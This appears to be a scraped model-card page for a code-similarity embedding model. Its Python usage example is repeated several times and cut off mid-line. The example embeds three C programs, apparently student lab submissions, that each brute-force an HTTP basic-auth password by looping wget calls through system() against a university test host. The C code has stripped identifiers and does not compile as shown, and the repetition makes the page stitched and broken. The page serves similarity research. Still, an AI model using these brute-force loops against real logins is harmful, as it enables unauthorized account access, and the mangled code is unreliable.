    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , 